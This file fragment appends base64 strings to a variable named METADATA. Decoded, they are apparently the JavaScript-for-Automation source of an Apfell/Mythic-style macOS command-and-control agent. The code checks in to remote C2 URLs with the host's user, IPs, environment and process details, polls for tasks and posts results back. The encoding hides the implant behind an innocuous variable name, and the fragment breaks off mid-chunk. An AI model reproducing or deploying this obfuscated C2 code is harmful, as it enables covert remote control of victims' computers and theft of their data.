METADATA = METADATA + "YjY0KCl7CiAgICByZXR1cm4gYmFzZTY0X2VuY29kZShTdHJpbmcoYXJndW1lbnRzWzBdKSk7CiAgfQogIHJfYjY0KCl7CiAgICByZXR1cm4gYmFzZTY0X2RlY29kZShTdHJpbmcoYXJndW1lbnRzWzBdKSk7CiAgfQogIHJhbmRvbV9taXhlZCgpewogICAgICBsZXQg"
METADATA = METADATA + "bSA9IFsuLi5BcnJheShOdW1iZXIoYXJndW1lbnRzWzFdKSldLm1hcChpPT4ofn4oTWF0aC5yYW5kb20oKSozNikpLnRvU3RyaW5nKDM2KSkuam9pbignJyk7CiAgICAgIHJldHVybiBhcmd1bWVudHNbMF0gKyBtOwogIH0KICByX3JhbmRvbV9taXhlZCgpewogICAg"
METADATA = METADATA + "ICByZXR1cm4gYXJndW1lbnRzWzBdLnNsaWNlKDAsIC0xICogTnVtYmVyKGFyZ3VtZW50c1sxXSkpOwogICAgfQogIHJhbmRvbV9udW1iZXIoKXsKICAgICAgbGV0IG0gPSBbLi4uQXJyYXkoTnVtYmVyKGFyZ3VtZW50c1sxXSkpXS5tYXAoaT0+KH5+KE1hdGgucmFu"
METADATA = METADATA + "ZG9tKCkqMTApKS50b1N0cmluZygxMCkpLmpvaW4oJycpOwogICAgICByZXR1cm4gYXJndW1lbnRzWzBdICsgbTsKICB9CiAgcl9yYW5kb21fbnVtYmVyKCl7CiAgICAgIHJldHVybiBhcmd1bWVudHNbMF0uc2xpY2UoMCwgLTEgKiBOdW1iZXIoYXJndW1lbnRzWzFd"
METADATA = METADATA + "KSk7CiAgICB9CiAgcmFuZG9tX2FscGhhKCl7CiAgICAgIGxldCBzID0gImFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiOwogICAgICBsZXQgbSA9IEFycmF5KE51bWJlcihhcmd1bWVudHNbMV0pKS5qb2luKCkuc3Bs"
METADATA = METADATA + "aXQoJywnKS5tYXAoZnVuY3Rpb24oKSB7IHJldHVybiBzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBzLmxlbmd0aCkpOyB9KS5qb2luKCcnKTsKICAgICAgcmV0dXJuIGFyZ3VtZW50c1swXSArIG07CiAgfQogIHJfcmFuZG9tX2FscGhhKCl7CiAg"
METADATA = METADATA + "ICAgIHJldHVybiBhcmd1bWVudHNbMF0uc2xpY2UoMCwgLTEgKiBOdW1iZXIoYXJndW1lbnRzWzFdKSk7CiAgICB9CiAgY2hvb3NlX3JhbmRvbSgpewogICAgICAgIGxldCBjaG9pY2UgPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqIGFyZ3VtZW50c1sxXS5sZW5n"
METADATA = METADATA + "dGgpOwogICAgICAgIGlmKGNob2ljZSA9PT0gYXJndW1lbnRzWzFdLmxlbmd0aCl7Y2hvaWNlIC09IDE7fQogICAgICAgIHJldHVybiBhcmd1bWVudHNbMF0gKyBhcmd1bWVudHNbMV1bY2hvaWNlXTsKICAgIH0KICAgIHJfY2hvb3NlX3JhbmRvbSgpewoJICAgIGZv"
METADATA = METADATA + "cihsZXQgaSA9IDA7IGkgPCBhcmd1bWVudHNbMV0ubGVuZ3RoOyBpKyspewoJICAgICAgICBpZihhcmd1bWVudHNbMF0uaW5jbHVkZXMoYXJndW1lbnRzWzFdW2ldKSl7CgkgICAgICAgICAgICByZXR1cm4gYXJndW1lbnRzWzBdLnJlcGxhY2UoYXJndW1lbnRzWzFd"
METADATA = METADATA + "W2ldLCAiIik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgkgICAgcmV0dXJuIGFyZ3VtZW50c1swXTsKICAgIH0KICAgIGdldF92YWx1ZSh2YWx1ZSwgdHJhbnNmb3Jtcyl7CiAgICAgIGxldCB0bXAgPSB2YWx1ZTsKICAgICAgdHJ5IHsKICAgICAgICAgIGlmICh0"
METADATA = METADATA + "cmFuc2Zvcm1zLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgICBmb3IgKGxldCBpID0gdHJhbnNmb3Jtcy5sZW5ndGggLSAxOyBpID49IDA7IGktLSkgewogICAgICAgICAgICAgICAgICBzd2l0Y2ggKHRyYW5zZm9ybXNbaV1bJ2Z1bmN0aW9uJ10pIHsKICAgICAg"
METADATA = METADATA + "ICAgICAgICAgICAgICAgIGNhc2UgImJhc2U2NCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgdG1wID0gdGhpcy5yX2I2NCh0bXApOwogICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgY2FzZSAicHJlcGVuZCI6"
METADATA = METADATA + "CiAgICAgICAgICAgICAgICAgICAgICAgICAgdG1wID0gdGhpcy5yX3ByZXBlbmQodG1wLCB0cmFuc2Zvcm1zW2ldWydwYXJhbWV0ZXJzJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgY2FzZSAiYXBwZW5k"
METADATA = METADATA + "IjoKICAgICAgICAgICAgICAgICAgICAgICAgICB0bXAgPSB0aGlzLnJfYXBwZW5kKHRtcCwgdHJhbnNmb3Jtc1tpXVsncGFyYW1ldGVycyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInJhbmRv"
METADATA = METADATA + "bV9taXhlZCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgdG1wID0gdGhpcy5yX3JhbmRvbV9taXhlZCh0bXAsIHRyYW5zZm9ybXNbaV1bJ3BhcmFtZXRlcnMnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAg"
METADATA = METADATA + "ICBjYXNlICJyYW5kb21fbnVtYmVyIjoKICAgICAgICAgICAgICAgICAgICAgICAgICB0bXAgPSB0aGlzLnJfcmFuZG9tX251bWJlcih0bXAsIHRyYW5zZm9ybXNbaV1bJ3BhcmFtZXRlcnMnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAg"
METADATA = METADATA + "ICAgICAgICAgICAgICAgICBjYXNlICJyYW5kb21fYWxwaGEiOgogICAgICAgICAgICAgICAgICAgICAgICAgIHRtcCA9IHRoaXMucl9yYW5kb21fYWxwaGEodG1wLCB0cmFuc2Zvcm1zW2ldWydwYXJhbWV0ZXJzJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAg"
METADATA = METADATA + "IGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgY2FzZSAiY2hvb3NlX3JhbmRvbSI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgdG1wID0gdGhpcy5yX2Nob29zZV9yYW5kb20odG1wLCB0cmFuc2Zvcm1zW2ldWydwYXJhbWV0ZXJzJ10pOwogICAgICAgICAg"
METADATA = METADATA + "ICAgICAgICB9CiAgICAgICAgICAgICAgfQogICAgICAgICAgfQogICAgICAgICAgcmV0dXJuIHRtcDsKICAgICAgfWNhdGNoKGVycm9yKXsKICAgICAgICAgIHJldHVybiAiIjsKICAgICAgfQogICAgfQogICAgcmV0cmlldmVfbWVzc2FnZShyZXNwb25zZSwgbWV0"
METADATA = METADATA + "aG9kPSJQT1NUIil7CiAgICAgIGxldCBkYXRhID0gdGhpcy5nZXRfdmFsdWUoKCQuTlNTdHJpbmcuYWxsb2MuaW5pdFdpdGhEYXRhRW5jb2RpbmcocmVzcG9uc2UsICQuTlNVVEY4U3RyaW5nRW5jb2RpbmcpKS5qcywgdGhpcy5jMl9jb25maWdbbWV0aG9kXVsnU2Vy"
METADATA = METADATA + "dmVyQm9keSddKTsKICAgICAgLy9jb25zb2xlLmxvZygiaW4gcmV0cmlldmVfbWVzc2FnZSwgcmV0dXJuaW5nOiAiICsgZGF0YSk7CiAgICAgIHJldHVybiBkYXRhOwogICAgfQogICAgY3JlYXRlX3ZhbHVlKHZhbHVlLCB0cmFuc2Zvcm1zKXsKICAgICAgZm9yKGxl"
METADATA = METADATA + "dCBpID0gMDsgaSA8IHRyYW5zZm9ybXMubGVuZ3RoOyBpKyspewogICAgICAgIHN3aXRjaCh0cmFuc2Zvcm1zW2ldWydmdW5jdGlvbiddKXsKICAgICAgICAgIGNhc2UgImJhc2U2NCI6CiAgICAgICAgICAgICAgdmFsdWUgPSB0aGlzLmI2NCh2YWx1ZSk7CiAgICAg"
METADATA = METADATA + "ICAgICAgICAgYnJlYWs7CiAgICAgICAgICBjYXNlICJwcmVwZW5kIjoKICAgICAgICAgICAgICB2YWx1ZSA9IHRoaXMucHJlcGVuZCh2YWx1ZSwgdHJhbnNmb3Jtc1tpXVsncGFyYW1ldGVycyddKTsKICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgIGNhc2Ug"
METADATA = METADATA + "ImFwcGVuZCI6CiAgICAgICAgICAgICAgdmFsdWUgPSB0aGlzLmFwcGVuZCh2YWx1ZSwgdHJhbnNmb3Jtc1tpXVsncGFyYW1ldGVycyddKTsKICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgIGNhc2UgInJhbmRvbV9taXhlZCI6CiAgICAgICAgICAgICAgdmFs"
METADATA = METADATA + "dWUgPSB0aGlzLnJhbmRvbV9taXhlZCh2YWx1ZSwgdHJhbnNmb3Jtc1tpXVsncGFyYW1ldGVycyddKTsKICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgIGNhc2UgInJhbmRvbV9udW1iZXIiOgogICAgICAgICAgICAgIHZhbHVlID0gdGhpcy5yYW5kb21fbnVt"
METADATA = METADATA + "YmVyKHZhbHVlLCB0cmFuc2Zvcm1zW2ldWydwYXJhbWV0ZXJzJ10pOwogICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgY2FzZSAicmFuZG9tX2FscGhhIjoKICAgICAgICAgICAgICB2YWx1ZSA9IHRoaXMucmFuZG9tX2FscGhhKHZhbHVlLCB0cmFuc2Zvcm1z"
METADATA = METADATA + "W2ldWydwYXJhbWV0ZXJzJ10pOwogICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICJjaG9vc2VfcmFuZG9tIjoKICAgICAgICAgICAgICAgIHZhbHVlID0gdGhpcy5jaG9vc2VfcmFuZG9tKHZhbHVlLCB0cmFuc2Zvcm1zW2ldWydwYXJhbWV0ZXJz"
METADATA = METADATA + "J10pOwogICAgICAgIH0KICAgICAgfQogICAgICByZXR1cm4gdmFsdWU7CiAgICB9CiAgICBjcmVhdGVfbWVzc2FnZShlbmRwb2ludCwgZGF0YSwgYWdlbnRfaWQ9YXBmZWxsLmlkLCBtZXRob2Q9IlBPU1QiKXsKCSAgICBpZih0aGlzLmFlc19wc2sgIT09ICIiKXsK"
METADATA = METADATA + "ICAgICAgICAgICAgZGF0YSA9IHRoaXMuZW5jcnlwdF9tZXNzYWdlKGFnZW50X2lkLCBKU09OLnN0cmluZ2lmeShkYXRhKSkuanM7CiAgICAgICAgfWVsc2UgaWYodHlwZW9mKHNlbmREYXRhKSA9PT0gInN0cmluZyIpewogICAgICAgIAlkYXRhID0gJCh1aWQgKyBz"
METADATA = METADATA + "ZW5kRGF0YSkuZGF0YVVzaW5nRW5jb2RpbmcoJC5OU1VURjhTdHJpbmdFbmNvZGluZyk7CiAgICAgICAgICAgIGRhdGEgPSBkYXRhLmJhc2U2NEVuY29kZWRTdHJpbmdXaXRoT3B0aW9ucygwKTsKICAgICAgICB9ZWxzZXsKCSAgICAgICAgZGF0YSA9ICQoYWdlbnRf"
METADATA = METADATA + "aWQgKyBKU09OLnN0cmluZ2lmeShkYXRhKSkuZGF0YVVzaW5nRW5jb2RpbmcoJC5OU1VURjhTdHJpbmdFbmNvZGluZyk7CiAgICAgICAgICAgIGRhdGEgPSBkYXRhLmJhc2U2NEVuY29kZWRTdHJpbmdXaXRoT3B0aW9ucygwKS5qczsKICAgICAgICB9CiAgICAgICAg"
METADATA = METADATA + "bGV0IGJhc2VfdXJsID0gdGhpcy5nZXRfcmFuZG9tX2VsZW1lbnQoZW5kcG9pbnRbJ3VybHMnXSk7CiAgICAgICAgbGV0IGJhc2VfdXJpID0gZW5kcG9pbnRbJ3VyaSddOwogICAgICAgIGZvcihsZXQgaSBpbiBlbmRwb2ludFsndXJsRnVuY3Rpb25zJ10pewogICAg"
METADATA = METADATA + "ICAgICAgICBsZXQgdmFsdWUgPSBlbmRwb2ludFsndXJsRnVuY3Rpb25zJ11baV1bJ3ZhbHVlJ107CiAgICAgICAgICAgIGlmKHZhbHVlID09PSB1bmRlZmluZWQpe3ZhbHVlID0gIiI7fQogICAgICAgICAgICBpZih2YWx1ZSA9PT0gIm1lc3NhZ2UiKXt2YWx1ZSA9"
METADATA = METADATA + "IGRhdGE7fQogICAgICAgICAgICB2YWx1ZSA9IHRoaXMuY3JlYXRlX3ZhbHVlKHZhbHVlLCBlbmRwb2ludFsndXJsRnVuY3Rpb25zJ11baV1bJ3RyYW5zZm9ybXMnXSk7CiAgICAgICAgICAgIGJhc2VfdXJpID0gYmFzZV91cmkucmVwbGFjZShlbmRwb2ludFsndXJs"
METADATA = METADATA + "RnVuY3Rpb25zJ11baV1bJ25hbWUnXSwgdmFsdWUpOwogICAgICAgIH0KICAgICAgICBsZXQgcXVlcnlfc3RyaW5nID0gIj8iOwogICAgICAgIGZvcihsZXQgaSBpbiBlbmRwb2ludFsnUXVlcnlQYXJhbWV0ZXJzJ10pewogICAgICAgICAgICBsZXQgdmFsdWUgPSBl"
METADATA = METADATA + "bmRwb2ludFsnUXVlcnlQYXJhbWV0ZXJzJ11baV1bJ3ZhbHVlJ107CiAgICAgICAgICAgIGlmKHZhbHVlID09PSB1bmRlZmluZWQpe3ZhbHVlID0gIiI7fQogICAgICAgICAgICBpZih2YWx1ZSA9PT0gIm1lc3NhZ2UiKXt2YWx1ZSA9IGRhdGE7fQogICAgICAgICAg"
METADATA = METADATA + "ICB2YWx1ZSA9IHRoaXMuY3JlYXRlX3ZhbHVlKHZhbHVlLCBlbmRwb2ludFsnUXVlcnlQYXJhbWV0ZXJzJ11baV1bJ3RyYW5zZm9ybXMnXSk7CiAgICAgICAgICAgIGxldCBOU0NoYXJhY3RlclNldCA9ICQuTlNDaGFyYWN0ZXJTZXQuY2hhcmFjdGVyU2V0V2l0aENo"
METADATA = METADATA + "YXJhY3RlcnNJblN0cmluZygiLys9XG4iKS5pbnZlcnRlZFNldDsKICAgICAgICAgICAgdmFsdWUgPSAkKHZhbHVlKS5zdHJpbmdCeUFkZGluZ1BlcmNlbnRFbmNvZGluZ1dpdGhBbGxvd2VkQ2hhcmFjdGVycyhOU0NoYXJhY3RlclNldCkuanM7CiAgICAgICAgICAg"
METADATA = METADATA + "IHF1ZXJ5X3N0cmluZyArPSBlbmRwb2ludFsnUXVlcnlQYXJhbWV0ZXJzJ11baV1bJ25hbWUnXSArICI9IiArIHZhbHVlICsgIiYiOwogICAgICAgIH0KICAgICAgICBiYXNlX3VyaSArPSBxdWVyeV9zdHJpbmcuc2xpY2UoMCwgLTEpOyAvL3Rha2Ugb2ZmIHRyYWls"
METADATA = METADATA + "aW5nICYgb3IgPwogICAgICAgIGxldCBjb29raWVzID0ge307CiAgICAgICAgZm9yKGxldCBpIGluIGVuZHBvaW50WydDb29raWVzJ10pewogICAgICAgICAgICBsZXQgdmFsdWUgPSBlbmRwb2ludFsnQ29va2llcyddW2ldWyd2YWx1ZSddOwogICAgICAgICAgICBp"
METADATA = METADATA + "Zih2YWx1ZSA9PT0gdW5kZWZpbmVkKXsgdmFsdWUgPSAiIjt9CiAgICAgICAgICAgIGlmKHZhbHVlID09PSAibWVzc2FnZSIpeyB2YWx1ZSA9IGRhdGE7fQogICAgICAgICAgICB2YWx1ZSA9IHRoaXMuY3JlYXRlX3ZhbHVlKHZhbHVlLCBlbmRwb2ludFsnQ29va2ll"
METADATA = METADATA + "cyddW2ldWyd0cmFuc2Zvcm1zJ10pOwogICAgICAgICAgICBjb29raWVzW2VuZHBvaW50WydDb29raWVzJ11baV1bJ25hbWUnXV0gPSB2YWx1ZTsKICAgICAgICB9CiAgICAgICAgbGV0IGhlYWRlcnMgPSBlbmRwb2ludFsnQWdlbnRIZWFkZXJzJ107CiAgICAgICAg"
METADATA = METADATA + "bGV0IGNvb2tpZV9oZWFkZXIgPSAiIjsKICAgICAgICBmb3IobGV0IGkgaW4gY29va2llcyl7CiAgICAgICAgICAgIGNvb2tpZV9oZWFkZXIgKz0gaSArICI9IiArIGNvb2tpZXNbaV0gKyAiOyI7CiAgICAgICAgfQogICAgICAgIGlmKGNvb2tpZV9oZWFkZXIgIT09"
METADATA = METADATA + "ICIiKXsKICAgICAgICAgICAgaGVhZGVyc1snQ29va2llJ10gPSBjb29raWVfaGVhZGVyOwogICAgICAgIH0KICAgICAgICBsZXQgdXJsID0gYmFzZV91cmwgKyBiYXNlX3VyaTsKICAgICAgICBsZXQgYm9keSA9IHRoaXMuY3JlYXRlX3ZhbHVlKGRhdGEsIGVuZHBv"
METADATA = METADATA + "aW50WydCb2R5J10pOwogICAgICAgIC8vIG5vdyBtYWtlIHRoZSByZXF1ZXN0IG9iamVjdAogICAgICAgIGxldCByZXEgPSAkLk5TTXV0YWJsZVVSTFJlcXVlc3QuYWxsb2MuaW5pdFdpdGhVUkwoJC5OU1VSTC5VUkxXaXRoU3RyaW5nKHVybCkpOwogICAgICAgIGZv"
METADATA = METADATA + "cihsZXQgaSBpbiBoZWFkZXJzKSB7CiAgICAgICAgICAgIHJlcS5zZXRWYWx1ZUZvckhUVFBIZWFkZXJGaWVsZCgkLk5TU3RyaW5nLmFsbG9jLmluaXRXaXRoVVRGOFN0cmluZyhoZWFkZXJzW2ldKSwgJC5OU1N0cmluZy5hbGxvYy5pbml0V2l0aFVURjhTdHJpbmco"
METADATA = METADATA + "aSkpOwogICAgICAgIH0KICAgICAgICBpZihtZXRob2QgPT09ICJQT1NUIikgewogICAgICAgICAgICByZXEuc2V0SFRUUE1ldGhvZCgkLk5TU3RyaW5nLmFsbG9jLmluaXRXaXRoVVRGOFN0cmluZygiUE9TVCIpKTsKICAgICAgICAgICAgbGV0IHBvc3REYXRhID0g"
METADATA = METADATA + "JChib2R5KS5kYXRhVXNpbmdFbmNvZGluZ0FsbG93TG9zc3lDb252ZXJzaW9uKCQuTlNTdHJpbmcuTlNBU0NJSVN0cmluZ0VuY29kaW5nLCB0cnVlKTsKICAgICAgICAgICAgbGV0IHBvc3RMZW5ndGggPSAkLk5TU3RyaW5nLnN0cmluZ1dpdGhGb3JtYXQoIiVkIiwg"
METADATA = METADATA + "cG9zdERhdGEubGVuZ3RoKTsKICAgICAgICAgICAgcmVxLmFkZFZhbHVlRm9ySFRUUEhlYWRlckZpZWxkKHBvc3RMZW5ndGgsICQuTlNTdHJpbmcuYWxsb2MuaW5pdFdpdGhVVEY4U3RyaW5nKCdDb250ZW50LUxlbmd0aCcpKTsKICAgICAgICAgICAgcmVxLnNldEhU"
METADATA = METADATA + "VFBCb2R5KHBvc3REYXRhKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJlcTsKICAgIH0KICBnZXRDb25maWcoKXsKICAgIC8vQSBSRVNUZnVsIGJhc2UgY29uZmlnIGNvbnNpc3RzIG9mIHRoZSBmb2xsb3dpbmc6CiAgICAvLyAgQmFzZVVSTCAoaW5jbHVkZXMg"
METADATA = METADATA + "UG9ydCksIENhbGxiYWNrSW50ZXJ2YWwsIEtpbGxEYXRlIChub3QgaW1wbGVtZW50ZWQgeWV0KQogICAgbGV0IGNvbmZpZyA9IHsKICAgICAgIkMyIjogewogICAgICAgICAgImNvbW1hbmRzIjogdGhpcy5jb21tYW5kcy5qb2luKCIsIiksCiAgICAgICAgICAiYXBp"
METADATA = METADATA + "X3ZlcnNpb24iOiB0aGlzLmFwaV92ZXJzaW9uLAogICAgICAgICAgImFlc19wc2siOiB0aGlzLmFlc19wc2ssCiAgICAgICAgICAiY29uZmlnIjogdGhpcy5jMl9jb25maWcKICAgICAgfSwKICAgICAgIkhvc3QiOiB7CiAgICAgICAgICAidXNlciI6IGFwZmVsbC51"
METADATA = METADATA + "c2VyLAogICAgICAgICAgImZ1bGxOYW1lIjogYXBmZWxsLmZ1bGxOYW1lLAogICAgICAgICAgImlwcyI6IGFwZmVsbC5pcCwKICAgICAgICAgICJob3N0cyI6IGFwZmVsbC5ob3N0LAogICAgICAgICAgImVudmlyb25tZW50IjogYXBmZWxsLmVudmlyb25tZW50LAog"
METADATA = METADATA + "ICAgICAgICAgInVwdGltZSI6IGFwZmVsbC51cHRpbWUsCiAgICAgICAgICAiYXJncyI6IGFwZmVsbC5hcmdzLAogICAgICAgICAgInBpZCI6IGFwZmVsbC5waWQsCiAgICAgICAgICAiYXBmZWxsX2lkIjogYXBmZWxsLmlkLAogICAgICAgICAgInBheWxvYWRfaWQi"
METADATA = METADATA + "OiBhcGZlbGwudXVpZAogICAgICB9fTsKICAgIHJldHVybiBKU09OLnN0cmluZ2lmeShjb25maWcsIG51bGwsIDIpOwogIH0KICBjaGVja2luKGlwLCBwaWQsIHVzZXIsIGhvc3QsIG9zLCBhcmNoaXRlY3R1cmUpewogICAgbGV0IGluZm8gPSB7J2lwJzppcCwncGlk"
METADATA = METADATA + "JzpwaWQsJ3VzZXInOnVzZXIsJ2hvc3QnOmhvc3QsJ3V1aWQnOmFwZmVsbC51dWlkLCAib3MiOiBvcywgImFyY2hpdGVjdHVyZSI6IGFyY2hpdGVjdHVyZSwgImFjdGlvbiI6ICJjaGVja2luIn07CiAgICBpZih1c2VyID09PSAncm9vdCcpe2luZm9bJ2ludGVncml0"
METADATA = METADATA + "eV9sZXZlbCddID0gMzt9CiAgICAvL2xldCByZXEgPSBudWxsOwogICAgbGV0IGpzb25kYXRhID0gbnVsbDsKICAgIGlmKHRoaXMuZXhjaGFuZ2luZ19rZXlzKXsKICAgICAgICBsZXQgc2Vzc2lvbklEID0gdGhpcy5uZWdvdGlhdGVfa2V5KCk7CiAgICAgICAganNv"
METADATA = METADATA + "bmRhdGEgPSB0aGlzLm1ha2VfcmVxdWVzdCgiUE9TVCIsIHNlc3Npb25JRCwgaW5mbyk7CiAgICB9ZWxzZXsKICAgICAgICBqc29uZGF0YSA9IHRoaXMubWFrZV9yZXF1ZXN0KCJQT1NUIiwgYXBmZWxsLnV1aWQsIGluZm8pOwogICAgfQogICAgYXBmZWxsLmlkID0g"
METADATA = METADATA + "anNvbmRhdGEuaWQ7CiAgICAvLyBpZiB3ZSBmYWlsIHRvIGdldCBhbiBJRCBudW1iZXIgdGhlbiBleGl0IHRoZSBhcHBsaWNhdGlvbgogICAgaWYoYXBmZWxsLmlkID09PSB1bmRlZmluZWQpeyAkLk5TQXBwbGljYXRpb24uc2hhcmVkQXBwbGljYXRpb24udGVybWlu"
METADATA = METADATA + "YXRlKHRoaXMpOyB9CiAgICByZXR1cm4ganNvbmRhdGE7CiAgfQogIGdldFRhc2tpbmcoKXsKICAgIHdoaWxlKHRydWUpewogICAgICAgIHRyeXsKICAgICAgICAgICAgbGV0IHRhc2sgPSB0aGlzLm1ha2VfcmVxdWVzdCgiR0VUIiwgYXBmZWxsLmlkLCAgeyJ0YXNr"
METADATA = METADATA + "aW5nX3NpemUiOjEsICJhY3Rpb24iOiAiZ2V0X3Rhc2tpbmcifSk7CiAgICAgICAgICAgIHJldHVybiB0YXNrWyd0YXNrcyddOwogICAgICAgIH0KICAgICAgICBjYXRjaChlcnJvcil7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coImVycm9yIGluIGdldFRhc2tp"
METADATA = METADATA + "bmc6ICIgKyBlcnJvci50b1N0cmluZygpKTsKICAgICAgICAgICAgJC5OU1RocmVhZC5zbGVlcEZvclRpbWVJbnRlcnZhbCh0aGlzLmdlbl9zbGVlcF90aW1lKCkpOyAgLy8gZG9uJ3Qgc3BpbiBvdXQgY3JhenkgaWYgdGhlIGNvbm5lY3Rpb24gZmFpbHMKICAgICAg"
METADATA = METADATA + "ICB9CiAgICB9CiAgfQogIHBvc3RSZXNwb25zZSh0YXNrLCBkYXRhKXsKICAgIC8vZGVwZW5kaW5nIG9uIHRoZSBhbW91bnQgb2YgZGF0YSB3ZSdyZSBzZW5kaW5nLCB3ZSBtaWdodCBuZWVkIHRvIGNodW5rIGl0CiAgICBkYXRhWyd0YXNrX2lkJ10gPSB0YXNrLmlk"
METADATA = METADATA + "OwogICAgbGV0IHBvc3REYXRhID0geyJhY3Rpb24iOiAicG9zdF9yZXNwb25zZSIsICJyZXNwb25zZXMiOiBbZGF0YV19OwogICAgcmV0dXJuIHRoaXMubWFrZV9yZXF1ZXN0KCJQT1NUIiwgYXBmZWxsLmlkLCBwb3N0RGF0YSApOwogIH0KICBtYWtlX3JlcXVlc3Qo"
METADATA = METADATA + "bWV0aG9kPSJQT1NUIiwgdWlkPWFwZmVsbC5pZCwgZGF0YT1udWxsKXsKICAgIHdoaWxlKHRydWUpewogICAgICB0cnl7CiAgICAgICAgICBsZXQgcmVxOwogICAgICAgICAgaWYobWV0aG9kID09PSAiUE9TVCIpewogICAgICAgICAgICAgIGlmKHRoaXMucG9zdF9t"
METADATA = METADATA + "ZXNzYWdlcy5sZW5ndGggPiAwKSB7CiAgICAgICAgICAgICAgICAgIHJlcSA9IHRoaXMuY3JlYXRlX21lc3NhZ2UodGhpcy5nZXRfcmFuZG9tX2VsZW1lbnQodGhpcy5wb3N0X21lc3NhZ2VzKSwgZGF0YSwgdWlkLCBtZXRob2QpOwogICAgICAgICAgICAgIH1lbHNl"
METADATA = METADATA + "ewogICAgICAgICAgICAgICAgICByZXEgPSB0aGlzLmNyZWF0ZV9tZXNzYWdlKHRoaXMuZ2V0X3JhbmRvbV9lbGVtZW50KHRoaXMuZ2V0X21lc3NhZ2VzKSwgZGF0YSwgdWlkLCBtZXRob2QpOwogICAgICAgICAgICAgIH0KICAgICAgICAgIH1lbHNlewogICAgICAg"
METADATA = METADATA + "ICAgICAgIGlmKHRoaXMuZ2V0X21lc3NhZ2VzLmxlbmd0aCA+IDApewogICAgICAgICAgICAgICAgICByZXEgPSB0aGlzLmNyZWF0ZV9tZXNzYWdlKHRoaXMuZ2V0X3JhbmRvbV9lbGVtZW50KHRoaXMuZ2V0X21lc3NhZ2VzKSwgZGF0YSwgdWlkLCBtZXRob2QpOwog"
METADATA = METADATA + "ICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICByZXEgPSB0aGlzLmNyZWF0ZV9tZXNzYWdlKHRoaXMuZ2V0X3JhbmRvbV9lbGVtZW50KHRoaXMucG9zdF9tZXNzYWdlcyksIGRhdGEsIHVpZCwgbWV0aG9kKTsKICAgICAgICAgICAgICB9CiAgICAg"
METADATA = METADATA + "ICAgICB9CiAgICAgICAgICAvL2ZvciBzb21lIHJlYXNvbiBpdCBzb21ldGltZXMgcmFuZG9tbHkgZmFpbHMgdG8gc2VuZCB0aGUgZGF0YSwgdGhyb3dpbmcgYSBKU09OIGVycm9yLiBsb29wIHRvIGZpeCBmb3Igbm93CiAgICAgICAgbGV0IHJlc3BvbnNlID0gUmVm"
METADATA = METADATA + "KCk7CiAgICAgICAgbGV0IGVycm9yID0gUmVmKCk7CiAgICAgICAgbGV0IHJlc3BvbnNlRGF0YSA9ICQuTlNVUkxDb25uZWN0aW9uLnNlbmRTeW5jaHJvbm91c1JlcXVlc3RSZXR1cm5pbmdSZXNwb25zZUVycm9yKHJlcSxyZXNwb25zZSxlcnJvcik7CiAgICAgICAg"
METADATA = METADATA + "cmVzcG9uc2VEYXRhID0gdGhpcy5yZXRyaWV2ZV9tZXNzYWdlKHJlc3BvbnNlRGF0YSwgbWV0aG9kKTsKICAgICAgICBpZiggcmVzcG9uc2VEYXRhLmxlbmd0aCA8IDM2KXsKICAgICAgICAgICAgJC5OU1RocmVhZC5zbGVlcEZvclRpbWVJbnRlcnZhbCh0aGlzLmdl"
METADATA = METADATA + "bl9zbGVlcF90aW1lKCkpOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgbGV0IHJlc3AgPSAkLk5TRGF0YS5hbGxvYy5pbml0V2l0aEJhc2U2NEVuY29kaW5nKHJlc3BvbnNlRGF0YSk7CiAgICAgICAgbGV0IHV1aWRfcmFuZ2UgPSAkLk5T"
METADATA = METADATA + "TWFrZVJhbmdlKDAsIDM2KTsKICAgICAgICBsZXQgbWVzc2FnZV9yYW5nZSA9ICQuTlNNYWtlUmFuZ2UoMzYsIHJlc3AubGVuZ3RoIC0gMzYpOwogICAgICAgIGxldCB1dWlkID0gJC5OU1N0cmluZy5hbGxvYy5pbml0V2l0aERhdGFFbmNvZGluZyhyZXNwLnN1YmRh"
METADATA = METADATA + "dGFXaXRoUmFuZ2UodXVpZF9yYW5nZSksICQuTlNVVEY4U3RyaW5nRW5jb2RpbmcpLmpzOwogICAgICAgIC8vY29uc29sZS5sb2coImNhcnZpbmcgb3V0IHJlc3Qgb2YgbWVzc2FnZSIpOwogICAgICAgIGlmKHV1aWQgIT09IGFwZmVsbC51dWlkICYmIHV1aWQgIT09"
METADATA = METADATA + "IGFwZmVsbC5pZCAmJiB1dWlkICE9PSB1aWQpewogICAgICAgICAgICAvL2NvbnNvbGUubG9nKCJpZCBkb2Vzbid0IG1hdGNoOiAiICsgdXVpZCk7CiAgICAgICAgICAgICQuTlNUaHJlYWQuc2xlZXBGb3JUaW1lSW50ZXJ2YWwodGhpcy5nZW5fc2xlZXBfdGltZSgp"
